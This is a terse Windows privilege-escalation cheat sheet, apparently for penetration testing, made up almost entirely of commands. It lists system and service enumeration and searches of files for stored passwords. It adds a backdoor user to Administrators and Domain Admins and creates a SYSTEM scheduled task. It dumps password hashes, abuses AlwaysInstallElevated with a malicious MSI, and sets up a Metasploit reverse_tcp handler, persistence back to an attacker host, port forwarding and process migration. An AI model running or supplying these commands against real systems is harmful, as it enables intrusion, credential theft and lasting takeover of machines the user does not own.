Windows Privesc checklist

BloodHound / SharpHound

whoami
echo %username%

whoami /priv

systeminfo
wmic os get Caption,CSDVersion,OSArchitecture,Version

wmic service get name,startname
net start

net localgroup administrators
net user

netstat -anoy
route print
arp -A
ipconfig /all

net users
net user
net localgroup

netsh advfirewall firewall show rule name=all

schtasks /query /fo LIST /v > schtasks.txt

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows" | findstr /v '"'

accesschk.exe -uwcqv <service>
sc qc <service>
icacls "C:\Path\To\Service.exe"

certutil.exe
powershell (IEX)
SMB / FTP / TFTP / VBScript

findstr /si password *.txt *.xml *.ini
dir /s *pass* == *cred* == *.config*

accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

net user bob P@ssw0rd! /add
net localgroup administrators bob /add
net group "Domain Admins" bob /add /domain

schtasks /query /fo LIST /v > tasks.txt

schtasks /create /ru SYSTEM /sc MINUTE /mo 5 /tn RUNME /tr "C:\Tools\bobMaint.exe"

schtasks /run /tn "RUNME"

net user
net user <target>
net localgroup administrators

whoami
accesschk.exe /accepteula
MS09-012.exe "whoami"

meterpreter > hashdump

Use secretsdump.py or disk capture tools

AlwaysInstallElevated = 1
msiexec /i evil.msi

net share
net use
net use Z: \\TARGET\SHARE /persistent:yes

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <port>
exploit

meterpreter > run persistence -U -i 5 -p 443 -r <LHOST>

meterpreter > portfwd add -l 3306 -p 3306 -r <target_ip>

meterpreter > run post/windows/manage/migrate
meterpreter > migrate <PID>

powershell.exe "C:\Tools\privesc.ps1"

apt-get install mingw-w64

i686-w64-mingw32-gcc hello.c -o hello.exe

x86_64-w64-mingw32-gcc hello.c -o hello64.exe